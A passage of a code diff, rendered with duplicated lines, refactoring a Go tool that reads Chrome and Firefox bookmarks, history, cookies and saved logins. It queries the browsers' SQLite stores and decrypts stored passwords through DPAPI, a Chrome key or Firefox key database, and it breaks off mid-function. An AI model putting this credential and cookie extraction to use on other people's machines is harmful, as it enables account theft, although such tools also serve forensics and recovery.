|
|
@ -6,6 +6,7 @@ import ( |
|
|
|
"encoding/base64" |
|
|
|
"encoding/base64" |
|
|
|
"io/ioutil" |
|
|
|
"io/ioutil" |
|
|
|
"os" |
|
|
|
"os" |
|
|
|
|
|
|
|
"path/filepath" |
|
|
|
"sort" |
|
|
|
"sort" |
|
|
|
"time" |
|
|
|
"time" |
|
|
|
|
|
|
|
|
|
|
@ -17,17 +18,13 @@ import ( |
|
|
|
"github.com/tidwall/gjson" |
|
|
|
"github.com/tidwall/gjson" |
|
|
|
) |
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
const ( |
|
|
|
type Item interface { |
|
|
|
ChromePassword = "Login Data" |
|
|
|
ChromeParse(key []byte) error |
|
|
|
ChromeHistory = "History" |
|
|
|
FirefoxParse() error |
|
|
|
ChromeCookies = "Cookies" |
|
|
|
OutPut(format, browser, dir string) error |
|
|
|
ChromeBookmarks = "Bookmarks" |
|
|
|
CopyItem() error |
|
|
|
FirefoxCookie = "cookies.sqlite" |
|
|
|
Release() error |
|
|
|
FirefoxKey4DB = "key4.db" |
|
|
|
} |
|
|
|
FirefoxLoginData = "logins.json" |
|
|
|
|
|
|
|
FirefoxData = "places.sqlite" |
|
|
|
|
|
|
|
FirefoxKey3DB = "key3.db" |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
var ( |
|
|
|
var ( |
|
|
|
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` |
|
|
|
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` |
|
|
@ -41,75 +38,17 @@ var ( |
|
|
|
closeJournalMode = `PRAGMA journal_mode=off` |
|
|
|
closeJournalMode = `PRAGMA journal_mode=off` |
|
|
|
) |
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
type ( |
|
|
|
type bookmarks struct { |
|
|
|
BrowserData struct { |
|
|
|
mainPath string |
|
|
|
Logins |
|
|
|
|
|
|
|
Bookmarks |
|
|
|
|
|
|
|
History |
|
|
|
|
|
|
|
Cookies |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
Logins struct { |
|
|
|
|
|
|
|
logins []loginData |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
Bookmarks struct { |
|
|
|
|
|
|
|
bookmarks []bookmark |
|
|
|
bookmarks []bookmark |
|
|
|
} |
|
|
|
} |
|
|
|
History struct { |
|
|
|
|
|
|
|
history []history |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
Cookies struct { |
|
|
|
|
|
|
|
cookies map[string][]cookies |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
type ( |
|
|
|
func NewBookmarks(main, sub string) Item { |
|
|
|
loginData struct { |
|
|
|
return &bookmarks{mainPath: main} |
|
|
|
UserName string |
|
|
|
|
|
|
|
encryptPass []byte |
|
|
|
|
|
|
|
encryptUser []byte |
|
|
|
|
|
|
|
Password string |
|
|
|
|
|
|
|
LoginUrl string |
|
|
|
|
|
|
|
CreateDate time.Time |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
bookmark struct { |
|
|
|
|
|
|
|
ID int64 |
|
|
|
|
|
|
|
Name string |
|
|
|
|
|
|
|
Type string |
|
|
|
|
|
|
|
URL string |
|
|
|
|
|
|
|
DateAdded time.Time |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
cookies struct { |
|
|
|
|
|
|
|
Host string |
|
|
|
|
|
|
|
Path string |
|
|
|
|
|
|
|
KeyName string |
|
|
|
|
|
|
|
encryptValue []byte |
|
|
|
|
|
|
|
Value string |
|
|
|
|
|
|
|
IsSecure bool |
|
|
|
|
|
|
|
IsHTTPOnly bool |
|
|
|
|
|
|
|
HasExpire bool |
|
|
|
|
|
|
|
IsPersistent bool |
|
|
|
|
|
|
|
CreateDate time.Time |
|
|
|
|
|
|
|
ExpireDate time.Time |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
history struct { |
|
|
|
|
|
|
|
Title string |
|
|
|
|
|
|
|
Url string |
|
|
|
|
|
|
|
VisitCount int |
|
|
|
|
|
|
|
LastVisitTime time.Time |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
const ( |
|
|
|
|
|
|
|
bookmarkID = "id" |
|
|
|
|
|
|
|
bookmarkAdded = "date_added" |
|
|
|
|
|
|
|
bookmarkUrl = "url" |
|
|
|
|
|
|
|
bookmarkName = "name" |
|
|
|
|
|
|
|
bookmarkType = "type" |
|
|
|
|
|
|
|
bookmarkChildren = "children" |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (b *Bookmarks) ChromeParse(key []byte) error { |
|
|
|
func (b *bookmarks) ChromeParse(key []byte) error { |
|
|
|
bookmarks, err := utils.ReadFile(ChromeBookmarks) |
|
|
|
bookmarks, err := utils.ReadFile(ChromeBookmarkFile) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
return err |
|
|
|
return err |
|
|
@ -125,55 +64,7 @@ func (b *Bookmarks) ChromeParse(key []byte) error { |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (l *Logins) ChromeParse(key []byte) error { |
|
|
|
func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) { |
|
|
|
loginDB, err := sql.Open("sqlite3", ChromePassword) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := loginDB.Close(); err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
rows, err := loginDB.Query(queryChromiumLogin) |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
for rows.Next() { |
|
|
|
|
|
|
|
var ( |
|
|
|
|
|
|
|
url, username string |
|
|
|
|
|
|
|
pwd, password []byte |
|
|
|
|
|
|
|
create int64 |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err = rows.Scan(&url, &username, &pwd, &create) |
|
|
|
|
|
|
|
login := loginData{ |
|
|
|
|
|
|
|
UserName: username, |
|
|
|
|
|
|
|
encryptPass: pwd, |
|
|
|
|
|
|
|
LoginUrl: url, |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if key == nil { |
|
|
|
|
|
|
|
password, err = decrypt.DPApi(pwd) |
|
|
|
|
|
|
|
} else { |
|
|
|
|
|
|
|
password, err = decrypt.ChromePass(key, pwd) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Debugf("%s have empty password %s", login.LoginUrl, err.Error()) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if create > time.Now().Unix() { |
|
|
|
|
|
|
|
login.CreateDate = utils.TimeEpochFormat(create) |
|
|
|
|
|
|
|
} else { |
|
|
|
|
|
|
|
login.CreateDate = utils.TimeStampFormat(create) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
login.Password = string(password) |
|
|
|
|
|
|
|
l.logins = append(l.logins, login) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return nil |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) { |
|
|
|
|
|
|
|
nodeType := value.Get(bookmarkType) |
|
|
|
nodeType := value.Get(bookmarkType) |
|
|
|
bm := bookmark{ |
|
|
|
bm := bookmark{ |
|
|
|
ID: value.Get(bookmarkID).Int(), |
|
|
|
ID: value.Get(bookmarkID).Int(), |
|
|
@ -194,48 +85,90 @@ func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Resul |
|
|
|
return children |
|
|
|
return children |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (h *History) ChromeParse(key []byte) error { |
|
|
|
func (b *bookmarks) FirefoxParse() error { |
|
|
|
historyDB, err := sql.Open("sqlite3", ChromeHistory) |
|
|
|
var ( |
|
|
|
|
|
|
|
err error |
|
|
|
|
|
|
|
keyDB *sql.DB |
|
|
|
|
|
|
|
bookmarkRows *sql.Rows |
|
|
|
|
|
|
|
tempMap map[int64]string |
|
|
|
|
|
|
|
bookmarkUrl string |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
keyDB, err = sql.Open("sqlite3", FirefoxDataFile) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
return err |
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
defer func() { |
|
|
|
defer func() { |
|
|
|
if err := historyDB.Close(); err != nil { |
|
|
|
if err := keyDB.Close(); err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
} |
|
|
|
} |
|
|
|
}() |
|
|
|
if err := bookmarkRows.Close(); err != nil { |
|
|
|
rows, err := historyDB.Query(queryChromiumHistory) |
|
|
|
log.Error(err) |
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
}() |
|
|
|
}() |
|
|
|
for rows.Next() { |
|
|
|
_, err = keyDB.Exec(closeJournalMode) |
|
|
|
var ( |
|
|
|
if err != nil { |
|
|
|
url, title string |
|
|
|
log.Error(err) |
|
|
|
visitCount int |
|
|
|
|
|
|
|
lastVisitTime int64 |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) |
|
|
|
|
|
|
|
data := history{ |
|
|
|
|
|
|
|
Url: url, |
|
|
|
|
|
|
|
Title: title, |
|
|
|
|
|
|
|
VisitCount: visitCount, |
|
|
|
|
|
|
|
LastVisitTime: utils.TimeEpochFormat(lastVisitTime), |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
continue |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
h.history = append(h.history, data) |
|
|
|
for bookmarkRows.Next() { |
|
|
|
|
|
|
|
var ( |
|
|
|
|
|
|
|
id, fk, bType, dateAdded int64 |
|
|
|
|
|
|
|
title string |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title) |
|
|
|
|
|
|
|
if url, ok := tempMap[id]; ok { |
|
|
|
|
|
|
|
bookmarkUrl = url |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
b.bookmarks = append(b.bookmarks, bookmark{ |
|
|
|
|
|
|
|
ID: id, |
|
|
|
|
|
|
|
Name: title, |
|
|
|
|
|
|
|
Type: utils.BookMarkType(bType), |
|
|
|
|
|
|
|
URL: bookmarkUrl, |
|
|
|
|
|
|
|
DateAdded: utils.TimeStampFormat(dateAdded / 1000000), |
|
|
|
|
|
|
|
}) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return nil |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (b *bookmarks) CopyItem() error { |
|
|
|
|
|
|
|
return utils.CopyDB(b.mainPath, filepath.Base(b.mainPath)) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (b *bookmarks) Release() error { |
|
|
|
|
|
|
|
return os.Remove(filepath.Base(b.mainPath)) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (b *bookmarks) OutPut(format, browser, dir string) error { |
|
|
|
|
|
|
|
sort.Slice(b.bookmarks, func(i, j int) bool { |
|
|
|
|
|
|
|
return b.bookmarks[i].ID < b.bookmarks[j].ID |
|
|
|
|
|
|
|
}) |
|
|
|
|
|
|
|
switch format { |
|
|
|
|
|
|
|
case "json": |
|
|
|
|
|
|
|
err := b.outPutJson(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
case "csv": |
|
|
|
|
|
|
|
err := b.outPutCsv(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (c *Cookies) ChromeParse(secretKey []byte) error { |
|
|
|
type cookies struct { |
|
|
|
c.cookies = make(map[string][]cookies) |
|
|
|
mainPath string |
|
|
|
cookieDB, err := sql.Open("sqlite3", ChromeCookies) |
|
|
|
cookies map[string][]cookie |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func NewCookies(main, sub string) Item { |
|
|
|
|
|
|
|
return &cookies{mainPath: main} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (c *cookies) ChromeParse(secretKey []byte) error { |
|
|
|
|
|
|
|
c.cookies = make(map[string][]cookie) |
|
|
|
|
|
|
|
cookieDB, err := sql.Open("sqlite3", ChromeCookieFile) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Debug(err) |
|
|
|
log.Debug(err) |
|
|
|
return err |
|
|
|
return err |
|
|
@ -259,7 +192,7 @@ func (c *Cookies) ChromeParse(secretKey []byte) error { |
|
|
|
value, encryptValue []byte |
|
|
|
value, encryptValue []byte |
|
|
|
) |
|
|
|
) |
|
|
|
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) |
|
|
|
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent) |
|
|
|
cookie := cookies{ |
|
|
|
cookie := cookie{ |
|
|
|
KeyName: key, |
|
|
|
KeyName: key, |
|
|
|
Host: host, |
|
|
|
Host: host, |
|
|
|
Path: path, |
|
|
|
Path: path, |
|
|
@ -284,7 +217,118 @@ func (c *Cookies) ChromeParse(secretKey []byte) error { |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (h *History) FirefoxParse() error { |
|
|
|
func (c *cookies) FirefoxParse() error { |
|
|
|
|
|
|
|
c.cookies = make(map[string][]cookie) |
|
|
|
|
|
|
|
cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := cookieDB.Close(); err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
rows, err := cookieDB.Query(queryFirefoxCookie) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
for rows.Next() { |
|
|
|
|
|
|
|
var ( |
|
|
|
|
|
|
|
name, value, host, path string |
|
|
|
|
|
|
|
isSecure, isHttpOnly int |
|
|
|
|
|
|
|
creationTime, expiry int64 |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) |
|
|
|
|
|
|
|
c.cookies[host] = append(c.cookies[host], cookie{ |
|
|
|
|
|
|
|
KeyName: name, |
|
|
|
|
|
|
|
Host: host, |
|
|
|
|
|
|
|
Path: path, |
|
|
|
|
|
|
|
IsSecure: utils.IntToBool(isSecure), |
|
|
|
|
|
|
|
IsHTTPOnly: utils.IntToBool(isHttpOnly), |
|
|
|
|
|
|
|
CreateDate: utils.TimeStampFormat(creationTime / 1000000), |
|
|
|
|
|
|
|
ExpireDate: utils.TimeStampFormat(expiry), |
|
|
|
|
|
|
|
Value: value, |
|
|
|
|
|
|
|
}) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return nil |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (c *cookies) CopyItem() error { |
|
|
|
|
|
|
|
return utils.CopyDB(c.mainPath, filepath.Base(c.mainPath)) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (c *cookies) Release() error { |
|
|
|
|
|
|
|
return os.Remove(filepath.Base(c.mainPath)) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (c *cookies) OutPut(format, browser, dir string) error { |
|
|
|
|
|
|
|
switch format { |
|
|
|
|
|
|
|
case "json": |
|
|
|
|
|
|
|
err := c.outPutJson(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
case "csv": |
|
|
|
|
|
|
|
err := c.outPutCsv(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return nil |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
type historyData struct { |
|
|
|
|
|
|
|
mainPath string |
|
|
|
|
|
|
|
history []history |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func NewHistoryData(main, sub string) Item { |
|
|
|
|
|
|
|
return &historyData{mainPath: main} |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (h *historyData) ChromeParse(key []byte) error { |
|
|
|
|
|
|
|
historyDB, err := sql.Open("sqlite3", ChromeHistoryFile) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := historyDB.Close(); err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
rows, err := historyDB.Query(queryChromiumHistory) |
|
|
|
|
|
|
|
defer func() { |
|
|
|
|
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
|
|
|
|
log.Debug(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
for rows.Next() { |
|
|
|
|
|
|
|
var ( |
|
|
|
|
|
|
|
url, title string |
|
|
|
|
|
|
|
visitCount int |
|
|
|
|
|
|
|
lastVisitTime int64 |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime) |
|
|
|
|
|
|
|
data := history{ |
|
|
|
|
|
|
|
Url: url, |
|
|
|
|
|
|
|
Title: title, |
|
|
|
|
|
|
|
VisitCount: visitCount, |
|
|
|
|
|
|
|
LastVisitTime: utils.TimeEpochFormat(lastVisitTime), |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
continue |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
h.history = append(h.history, data) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
return nil |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
func (h *historyData) FirefoxParse() error { |
|
|
|
var ( |
|
|
|
var ( |
|
|
|
err error |
|
|
|
err error |
|
|
|
keyDB *sql.DB |
|
|
|
keyDB *sql.DB |
|
|
@ -292,7 +336,7 @@ func (h *History) FirefoxParse() error { |
|
|
|
tempMap map[int64]string |
|
|
|
tempMap map[int64]string |
|
|
|
) |
|
|
|
) |
|
|
|
tempMap = make(map[int64]string) |
|
|
|
tempMap = make(map[int64]string) |
|
|
|
keyDB, err = sql.Open("sqlite3", FirefoxData) |
|
|
|
keyDB, err = sql.Open("sqlite3", FirefoxDataFile) |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
|
return err |
|
|
|
return err |
|
|
@ -334,83 +378,55 @@ func (h *History) FirefoxParse() error { |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (b *Bookmarks) FirefoxParse() error { |
|
|
|
func (h *historyData) CopyItem() error { |
|
|
|
var ( |
|
|
|
return utils.CopyDB(h.mainPath, filepath.Base(h.mainPath)) |
|
|
|
err error |
|
|
|
|
|
|
|
keyDB *sql.DB |
|
|
|
|
|
|
|
bookmarkRows *sql.Rows |
|
|
|
|
|
|
|
tempMap map[int64]string |
|
|
|
|
|
|
|
bookmarkUrl string |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
keyDB, err = sql.Open("sqlite3", FirefoxData) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
_, err = keyDB.Exec(closeJournalMode) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks) |
|
|
|
|
|
|
|
defer func() { |
|
|
|
func (h *historyData) Release() error { |
|
|
|
if err := bookmarkRows.Close(); err != nil { |
|
|
|
return os.Remove(filepath.Base(h.mainPath)) |
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
}() |
|
|
|
|
|
|
|
for bookmarkRows.Next() { |
|
|
|
|
|
|
|
var ( |
|
|
|
|
|
|
|
id, fk, bType, dateAdded int64 |
|
|
|
|
|
|
|
title string |
|
|
|
|
|
|
|
) |
|
|
|
|
|
|
|
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title) |
|
|
|
|
|
|
|
if url, ok := tempMap[id]; ok { |
|
|
|
|
|
|
|
bookmarkUrl = url |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
b.bookmarks = append(b.bookmarks, bookmark{ |
|
|
|
|
|
|
|
ID: id, |
|
|
|
func (h *historyData) OutPut(format, browser, dir string) error { |
|
|
|
Name: title, |
|
|
|
sort.Slice(h.history, func(i, j int) bool { |
|
|
|
Type: utils.BookMarkType(bType), |
|
|
|
return h.history[i].VisitCount > h.history[j].VisitCount |
|
|
|
URL: bookmarkUrl, |
|
|
|
|
|
|
|
DateAdded: utils.TimeStampFormat(dateAdded / 1000000), |
|
|
|
|
|
|
|
}) |
|
|
|
}) |
|
|
|
|
|
|
|
switch format { |
|
|
|
|
|
|
|
case "json": |
|
|
|
|
|
|
|
err := h.outPutJson(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
case "csv": |
|
|
|
|
|
|
|
err := h.outPutCsv(browser, dir) |
|
|
|
|
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (b *Bookmarks) Release(filename string) error { |
|
|
|
type passwords struct { |
|
|
|
return os.Remove(filename) |
|
|
|
mainPath string |
|
|
|
} |
|
|
|
subPath string |
|
|
|
|
|
|
|
logins []loginData |
|
|
|
func (c *Cookies) Release(filename string) error { |
|
|
|
|
|
|
|
return os.Remove(filename) |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (h *History) Release(filename string) error { |
|
|
|
func NewFPasswords(main, sub string) Item { |
|
|
|
return os.Remove(filename) |
|
|
|
return &passwords{mainPath: main, subPath: sub} |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (l *Logins) Release(filename string) error { |
|
|
|
func NewCPasswords(main, sub string) Item { |
|
|
|
return os.Remove(filename) |
|
|
|
return &passwords{mainPath: main} |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (c *Cookies) FirefoxParse() error { |
|
|
|
func (p *passwords) ChromeParse(key []byte) error { |
|
|
|
cookie := cookies{} |
|
|
|
loginDB, err := sql.Open("sqlite3", ChromePasswordFile) |
|
|
|
c.cookies = make(map[string][]cookies) |
|
|
|
|
|
|
|
cookieDB, err := sql.Open("sqlite3", FirefoxCookie) |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Debug(err) |
|
|
|
log.Error(err) |
|
|
|
return err |
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
defer func() { |
|
|
|
defer func() { |
|
|
|
if err := cookieDB.Close(); err != nil { |
|
|
|
if err := loginDB.Close(); err != nil { |
|
|
|
log.Debug(err) |
|
|
|
log.Debug(err) |
|
|
|
} |
|
|
|
} |
|
|
|
}() |
|
|
|
}() |
|
|
|
rows, err := cookieDB.Query(queryFirefoxCookie) |
|
|
|
rows, err := loginDB.Query(queryChromiumLogin) |
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Error(err) |
|
|
|
|
|
|
|
return err |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
defer func() { |
|
|
|
defer func() { |
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
if err := rows.Close(); err != nil { |
|
|
|
log.Debug(err) |
|
|
|
log.Debug(err) |
|
|
@ -418,28 +434,39 @@ func (c *Cookies) FirefoxParse() error { |
|
|
|
}() |
|
|
|
}() |
|
|
|
for rows.Next() { |
|
|
|
for rows.Next() { |
|
|
|
var ( |
|
|
|
var ( |
|
|
|
name, value, host, path string |
|
|
|
url, username string |
|
|
|
isSecure, isHttpOnly int |
|
|
|
pwd, password []byte |
|
|
|
creationTime, expiry int64 |
|
|
|
create int64 |
|
|
|
) |
|
|
|
) |
|
|
|
err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly) |
|
|
|
err = rows.Scan(&url, &username, &pwd, &create) |
|
|
|
cookie = cookies{ |
|
|
|
if err != nil { |
|
|
|
KeyName: name, |
|
|
|
log.Error(err) |
|
|
|
Host: host, |
|
|
|
|
|
|
|
Path: path, |
|
|
|
|
|
|
|
IsSecure: utils.IntToBool(isSecure), |
|
|
|
|
|
|
|
IsHTTPOnly: utils.IntToBool(isHttpOnly), |
|
|
|
|
|
|
|
CreateDate: utils.TimeStampFormat(creationTime / 1000000), |
|
|
|
|
|
|
|
ExpireDate: utils.TimeStampFormat(expiry), |
|
|
|
|
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
login := loginData{ |
|
|
|
cookie.Value = value |
|
|
|
UserName: username, |
|
|
|
c.cookies[host] = append(c.cookies[host], cookie) |
|
|
|
encryptPass: pwd, |
|
|
|
|
|
|
|
LoginUrl: url, |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if key == nil { |
|
|
|
|
|
|
|
password, err = decrypt.DPApi(pwd) |
|
|
|
|
|
|
|
} else { |
|
|
|
|
|
|
|
password, err = decrypt.ChromePass(key, pwd) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if err != nil { |
|
|
|
|
|
|
|
log.Debugf("%s have empty password %s", login.LoginUrl, err.Error()) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
if create > time.Now().Unix() { |
|
|
|
|
|
|
|
login.CreateDate = utils.TimeEpochFormat(create) |
|
|
|
|
|
|
|
} else { |
|
|
|
|
|
|
|
login.CreateDate = utils.TimeStampFormat(create) |
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
login.Password = string(password) |
|
|
|
|
|
|
|
p.logins = append(p.logins, login) |
|
|
|
} |
|
|
|
} |
|
|
|
return nil |
|
|
|
return nil |
|
|
|
} |
|
|
|
} |
|
|
|
|
|
|
|
|
|
|
|
func (l *Logins) FirefoxParse() error { |
|
|
|
func (p *passwords) FirefoxParse() error { |
|
|
|
globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey() |
|
|
|
globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey() |
|
|
|
if err != nil { |
|
|
|
if err != nil { |
|
|
|
log.Error(err) |
|
|
|
log.Error(err) |
|
|
@ -479,23 +506,23 @@ func (l *Logins) FirefoxParse() error { |
|
|
|
return err |
|
|
|
return err |
|
|
|
} |
|
|
|
} |
|
|
|
for _, v := range allLogins { |
|
|
|
for _, v := range allLogins { |
|
|
|
user, _ := decrypt.DecodeLogin(v.encryptUser) |
|
|
|
userPBE, _ := decrypt.DecodeLogin(v.encryptUser) |
|
|
|
pwd, _ := decrypt.DecodeLogin(v.encryptPass) |
|
|
|
pwdPBE, _ := decrypt.DecodeLogin(v.encryptPass) |
|
|
|
